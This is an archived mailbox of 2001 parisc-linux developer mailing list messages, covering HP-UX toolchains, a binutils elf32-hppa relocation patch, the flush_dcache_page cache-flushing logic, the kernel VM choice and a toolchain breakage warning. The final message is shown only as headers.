X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12854

joel.soete@freebel.net wrote:
> Quoting aungho <aungho@sina.com>:
> > But other problems:
> 
> > 1.can HP_UX 11.11 for pa_risc 2.0 on L2000 gcc complier,we find gcc for
> > HP_ux 11.00 for pa_risc 1.x and HP_UX 10.0 and they work normally,how to
> > get  gcc complier for hp_ux 11.11.

I'm pretty sure you can use the same toolchain as on 11.00.
HP has released a CD (and ISO image) with PA20 gcc/binutils
toolchain for HPUX 11. The one I have in front of me is labeled:
	"HP-UX 11.0 PA-RISC Open Source Developer Toolkit, Release 000310"

I think I found it's replacement on www.software.hp.com at:
http://www.software.hp.com/cgi-bin/swdepot_parser.cgi/cgi/displayProductInfo.pl?productNumber=B9891AA


> > 2.Linux for pa_risc is only a test version.
> 
> You have right. But it seems quiet stable now.

I agree the kernel is stable but:
o not everything on every platform works
o most older servers still not support at all (eg EFGHI/K/T/V-class)
o toolchain and kernel changes aren't fully merged upstream.

It's definitely not a "mature product". But lots of cool
things (eg XF86, iptables, apache, tcpdump, apt-get) do work
on many parisc boxes.

grant



From - Thu Nov 08 21:20:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] elf32-hppa fix for new ld.so
Date: Thu, 1 Nov 2001 02:03:19 +1030
Lines: 44
Approved: news@gmane.org
Message-ID: <20011101020319.Z25115@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620691 28964 80.91.229.3 (22 Nov 2014 01:44:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: binutils@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 31 08:33:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailin3.email.bigpond.com (mailin3.bigpond.com [139.134.6.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07878482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Oct 2001 08:33:29 -0700 (MST)
Original-Received: from bubble.local ([144.135.24.84]) by
          mailin3.email.bigpond.com (Netscape Messaging Server 4.15) with
          SMTP id GM2U6J00.CZK for <parisc-linux@lists.parisc-linux.org>;
          Thu, 1 Nov 2001 01:39:55 +1000 
Original-Received: from 144.136.176.14 ([144.136.176.14]) by bwmam06.mailsvc.email.bigpond.com(MailRouter V2.9k 8341/15300293); 01 Nov 2001 01:33:20
Original-Received: (qmail 842 invoked by uid 179); 31 Oct 2001 15:33:19 -0000
Mail-Followup-To: binutils@sources.redhat.com,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12855

Fixes a mismatch between elf32_hppa_size_dynamic_sections, where .plt
relocs aren't counted in the total reloc count, and finish_dynamic_sections,
where the default elf scheme counts 'em.  Things sort-of worked previously
due to various bugs in ld.so cancelling out.  

bfd/ChangeLog
	* elf32-hppa.c (elf32_hppa_finish_dynamic_sections): Don't count
	.plt relocs in DT_RELASZ.

This means glibc/sysdeps/hppa/dl-machine.h should no longer define
ELF_MACHINE_PLTREL_OVERLAP.

-- 
Alan Modra
 
Index: bfd/elf32-hppa.c
===================================================================
RCS file: /cvs/src/src/bfd/elf32-hppa.c,v
retrieving revision 1.56
diff -u -p -r1.55 elf32-hppa.c
--- elf32-hppa.c	2001/10/31 14:58:14	1.56
+++ elf32-hppa.c	2001/10/31 15:22:53
@@ -4273,6 +4273,19 @@ elf32_hppa_finish_dynamic_sections (outp
 		dyn.d_un.d_val = s->_cooked_size;
 	      else
 		dyn.d_un.d_val = s->_raw_size;
+	      break;
+
+	    case DT_RELASZ:
+	      /* Don't count procedure linkage table relocs in the
+		 overall reloc count.  */
+	      if (htab->srelplt != NULL)
+		{
+		  s = htab->srelplt->output_section;
+		  if (s->_cooked_size != 0)
+		    dyn.d_un.d_val -= s->_cooked_size;
+		  else
+		    dyn.d_un.d_val -= s->_raw_size;
+		}
 	      break;
 	    }
 



From - Thu Nov 08 21:20:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bug in flush_dcache_page?
Date: Wed, 31 Oct 2001 17:39:05 +0000
Lines: 64
Approved: news@gmane.org
Message-ID: <20011031173905.B5120@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620692 28970 80.91.229.3 (22 Nov 2014 01:44:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:52 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 31 10:39:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5BBFE482B
	for <parisc-linux@parisc-linux.org>; Wed, 31 Oct 2001 10:39:28 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15yzKT-0005jT-00
	for parisc-linux@parisc-linux.org; Wed, 31 Oct 2001 17:39:05 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12856

Thomas Bogendoerfer's being trying to get an L3000 to boot, and is seeing
similar problems to those seen by Bjorn on Superdome.  I think I have a lead.
Documentation/cachetlb.txt says:

  void flush_dcache_page(struct page *page)

        Any time the kernel writes to a page cache page, _OR_
        the kernel is about to read from a page cache page and
        user space shared/writable mappings of this page potentially
        exist, this routine is called.

Our implementation does:

static inline void flush_dcache_page(struct page *page)
{
        if (page->mapping && !page->mapping->i_mmap &&
                        !page->mapping->i_mmap_shared) {
                set_bit(PG_dcache_dirty, &page->flags);
        } else {
                flush_kernel_dcache_page(page_address(page));
        }
}

What we're missing is the case where the user has dirtied the page,
then the kernel calls flush_dcache_page before writing to the page.
This strikes me as a bad interface... there should be different interfaces
for `before the kernel writes' and `after the kernel writes', but let's
see if we can fix our implementation.

we have an interface to use, flush_user_dcache_range.  so we can iterate
over all the mappings and flush each of the user ranges.  btw, we're missing
an optimisation -- if page->mapping is NULL, we can set the PG_dcache_dirty
bit.  This lets us optimise a little more:

static inline void flush_dcache_page(struct page *page)
{
	if (!page->mapping || (page->mapping && !page->mapping->i_mmap &&
			!page->mapping->i_mmap_shared)) {
		set_bit(PG_dcache_dirty, &page->flags);
	} else {
		struct vm_area_struct *vma;
		for (vma = page->mapping->i_mmap; vma; vma = vma->vm_next) {
			flush_user_page(vma->vm_mm, vma->vm_start + page->index);
		}
		if (page->mapping->i_mmap_shared) {
			vma = page->mapping->i_mmap_shared;
			flush_user_page(vma->vm_mm, vma->vm_start + page->index);
		}
		flush_kernel_dcache_page(page_address(page));
	}
}

We only need to flush the first shared mapping because they're all congruent
modulo 4MB.  I suspect there are other optimisations possible (is it
really possible to have multiple _dirty_ pages on the i_mmap list?)
but this might work better.

OTOH this is adding a lot of complexity for an inline function.  maybe we
should just call flush_data_cache() and have done with it :-(

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bug in flush_dcache_page?
Date: Wed, 31 Oct 2001 18:08:40 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <20011031180840.C5120@parcelfarce.linux.theplanet.co.uk>
References: <20011031173905.B5120@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620692 28972 80.91.229.3 (22 Nov 2014 01:44:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:52 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 31 11:08:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 190CC482B
	for <parisc-linux@parisc-linux.org>; Wed, 31 Oct 2001 11:08:47 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15yzn6-0006Hg-00; Wed, 31 Oct 2001 18:08:40 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011031173905.B5120@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Oct 31, 2001 at 05:39:05PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12857

On Wed, Oct 31, 2001 at 05:39:05PM +0000, Matthew Wilcox wrote:
> static inline void flush_dcache_page(struct page *page)
> {
> 	if (!page->mapping || (page->mapping && !page->mapping->i_mmap &&
> 			!page->mapping->i_mmap_shared)) {
> 		set_bit(PG_dcache_dirty, &page->flags);
> 	} else {
> 		struct vm_area_struct *vma;
> 		for (vma = page->mapping->i_mmap; vma; vma = vma->vm_next) {
> 			flush_user_page(vma->vm_mm, vma->vm_start + page->index);
> 		}
> 		if (page->mapping->i_mmap_shared) {
> 			vma = page->mapping->i_mmap_shared;
> 			flush_user_page(vma->vm_mm, vma->vm_start + page->index);
> 		}
> 		flush_kernel_dcache_page(page_address(page));
> 	}
> }

Aha.  A couple of things from talking to various VM/VFS people...
1. page->mapping is guaranteed to exist for pages in the page cache --
   this is how they're located.
2. If a page is simultaneously mapped in both user and kernel space, and
   user space touches it, either it leaves the page cache or it was mapped
   shared.

flush_dcache_page is only called on pages in the page cache, so we can
assume that page->mapping exists, and we don't need to flush any user
mappings of this page.

	if (!page->mapping->i_mmap & !page->mapping->i_mmap_shared) {
		set_bit(PG_dcache_dirty, &page->flags);
	} else {
		struct vm_area_struct *vma = page->mapping->i_mmap_shared;
		if (vma) {
			flush_user_page(vma->vm_mm, vma->vm_start + page->index);
		}
		flush_kernel_dcache_page(page_address(page));
	}

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "CARSON,KEVIN (HP-Canada,ex1)" <kevin_carson@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC Linux VM
Date: Wed, 31 Oct 2001 13:29:14 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <B9957F974955D411829400D0B74FF27A04BF7ABB@xtor01.canada.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620692 28976 80.91.229.3 (22 Nov 2014 01:44:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:52 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: 'Matthew Wilcox' <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 31 11:29:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id B58DC482B
	for <parisc-linux@parisc-linux.org>; Wed, 31 Oct 2001 11:29:22 -0700 (MST)
Original-Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 95C447FF; Wed, 31 Oct 2001 13:29:21 -0500 (EST)
Original-Received: from xatlbh2.atl.hp.com (xatlbh2.atl.hp.com [15.45.89.187])
	by xatlrelay1.atl.hp.com (Postfix) with ESMTP
	id 1AC771F524; Wed, 31 Oct 2001 13:29:21 -0500 (EST)
Original-Received: by xatlbh2.atl.hp.com with Internet Mail Service (5.5.2653.19)
	id <VW8L560Z>; Wed, 31 Oct 2001 13:29:19 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12858

The recent article in Byte
(http://www.byte.com/documents/s=1436/byt20011024s0002/1029_moshe.html)
makes me curious; is the current pa-risc Linux port using a Rik van Viel VM
or Andrea Arcangeli VM or some pa-risc port specific design?

Is there possibly a large changeover looming dependent upon what shakes out
in the Linus tree?

Kevin



From - Thu Nov 08 21:20:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC Linux VM
Date: Wed, 31 Oct 2001 18:51:12 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <20011031185112.D5120@parcelfarce.linux.theplanet.co.uk>
References: <B9957F974955D411829400D0B74FF27A04BF7ABB@xtor01.canada.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620693 28981 80.91.229.3 (22 Nov 2014 01:44:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:53 +0000 (UTC)
Cc: 'Matthew Wilcox' <willy@debian.org>,
	parisc-linux@parisc-linux.org
To: "CARSON,KEVIN (HP-Canada,ex1)" <kevin_carson@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 31 11:51:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CBABE482B
	for <parisc-linux@parisc-linux.org>; Wed, 31 Oct 2001 11:51:14 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15z0SG-0007kh-00; Wed, 31 Oct 2001 18:51:12 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <B9957F974955D411829400D0B74FF27A04BF7ABB@xtor01.canada.hp.com>; from kevin_carson@hp.com on Wed, Oct 31, 2001 at 01:29:14PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12859

On Wed, Oct 31, 2001 at 01:29:14PM -0500, CARSON,KEVIN (HP-Canada,ex1) wrote:
> The recent article in Byte
> (http://www.byte.com/documents/s=1436/byt20011024s0002/1029_moshe.html)
> makes me curious; is the current pa-risc Linux port using a Rik van Viel VM
> or Andrea Arcangeli VM or some pa-risc port specific design?
> 
> Is there possibly a large changeover looming dependent upon what shakes out
> in the Linus tree?

We're sticking with 2.4.9 until we see a Linus kernel that's a little
more stable.  That's from slightly before Linus introduced Andrea's VM.

i just posted a small patch we need to linux-mm
http://mail.nl.linux.org/linux-mm/2001-10/msg00098.html
which is the equivalent of the only major vm change that we have
in our tree.  There's a couple of minor ones:

diff -u -p -r1.1.1.5 -r1.8
--- mm/shmem.c  2001/08/15 16:33:42     1.1.1.5
+++ mm/shmem.c  2001/10/01 10:19:21     1.8
@@ -377,6 +377,7 @@ repeat:
                if (!page)
                        return ERR_PTR(-ENOMEM);
                clear_highpage(page);
+               flush_dcache_page(page);
                inode->i_blocks += BLOCKS_PER_PAGE;
                add_to_page_cache (page, mapping, idx);
        }
diff -u -p -r1.1.1.13 -r1.15
--- mm/vmscan.c 2001/08/16 22:10:13     1.1.1.13
+++ mm/vmscan.c 2001/09/06 09:44:13     1.15
@@ -120,6 +120,7 @@ static void try_to_swap_out(struct mm_st
         * any IO - it's already up-to-date on disk.
         */
        if (PageSwapCache(page)) {
+               flush_cache_page(vma, address);
                entry.val = page->index;
                if (pte_dirty(pte))
                        set_page_dirty(page);

I don't anticipate either of these changes being major merge problems.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@trained-monkey.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC Linux VM
Date: 31 Oct 2001 15:06:53 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <m3zo677ew2.fsf@trained-monkey.org>
References: <B9957F974955D411829400D0B74FF27A04BF7ABB@xtor01.canada.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620693 28985 80.91.229.3 (22 Nov 2014 01:44:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:53 +0000 (UTC)
Cc: "'Matthew Wilcox'" <willy@debian.org>,
	parisc-linux@parisc-linux.org
To: "CARSON,KEVIN (HP-Canada,ex1)" <kevin_carson@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 31 13:07:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from trained-monkey.org (trained-monkey.org [209.217.122.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 691DB482B
	for <parisc-linux@parisc-linux.org>; Wed, 31 Oct 2001 13:06:59 -0700 (MST)
Original-Received: (from jes@localhost)
	by trained-monkey.org (8.11.6/8.9.3) id f9VK6sr12381;
	Wed, 31 Oct 2001 15:06:54 -0500
In-Reply-To: "CARSON,KEVIN's message of "Wed, 31 Oct 2001 13:29:14 -0500"
Original-Lines: 22
X-Mailer: Gnus v5.7/Emacs 20.7
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12860

>>>>> "Kevin" == CARSON,KEVIN (HP-Canada,ex1) <kevin_carson@hp.com> writes:

Kevin> The recent article in Byte
Kevin> (http://www.byte.com/documents/s=1436/byt20011024s0002/1029_moshe.html)
Kevin> makes me curious; is the current pa-risc Linux port using a Rik
Kevin> van Viel VM or Andrea Arcangeli VM or some pa-risc port
Kevin> specific design?

Kevin> Is there possibly a large changeover looming dependent upon
Kevin> what shakes out in the Linus tree?

There'll be some shaking up depending on what happens in Linus' tree
and what level of large bats people bring out to get things
straightened out. It doesn't seem totally obvious right now where we
are going to end (we as in the 2.4.x kernels in general).

On the other hand I wouldn't take that Byte article too serious; his
'scientific' conclusions seems to be based on how much the mp3 player
skips when loading large files into an editor.

Cheers,
Jes



From - Thu Nov 08 21:20:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] WARNING: DO NOT APT-GET UPGRADE HPPA
Date: Wed, 31 Oct 2001 13:07:37 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20011031200737.B7A7937CB2@carmen.fc.hp.com>
References: <20011026182706.2800037FD7@carmen.fc.hp.com> <1004225524.624.6.camel@cube> <1004233084.1307.6.camel@cube>  <20011031202107.A2654@alpha.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620693 28987 80.91.229.3 (22 Nov 2014 01:44:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 31 13:07:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9BBE8482B
	for <parisc-linux@parisc-linux.org>; Wed, 31 Oct 2001 13:07:39 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 4D3C2D4A; Wed, 31 Oct 2001 15:07:38 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id B7A7937CB2; Wed, 31 Oct 2001 13:07:37 -0700 (MST)
In-Reply-To: Your message of "Wed, 31 Oct 2001 20:21:07 +0100."
             <20011031202107.A2654@alpha.of.nowhere> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12861

Jurriaan on Alpha writes...

> So what is the current status? Is there anything fundamental relying on
> python, or is it safe to upt-get update again?

We still don't know the extent of the problem and until known working
binutils/gcc/glibc are uploaded I think you should hold off. I'm hoping the
patch that Alan Modra posted earlier is the answer. I'm rebuilding the
toolchain now.

Stay tuned...

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:20:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "jean-yves GUILLEVIC" <jean-yves.guillevic@wanadoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP A2089-66530 Graphic CARD
Date: Wed, 31 Oct 2001 23:56:55 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <001201c1625f$571abdb0$010101a8@TPDEV.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620694 28989 80.91.229.3 (22 Nov 2014 01:44:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:54 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 31 15:54:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from magnolia.wanadoo.fr (smtp-rt-11.wanadoo.fr [193.252.19.62])
	by dsl2.external.hp.com (Postfix) with ESMTP id B30C7482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Oct 2001 15:54:24 -0700 (MST)
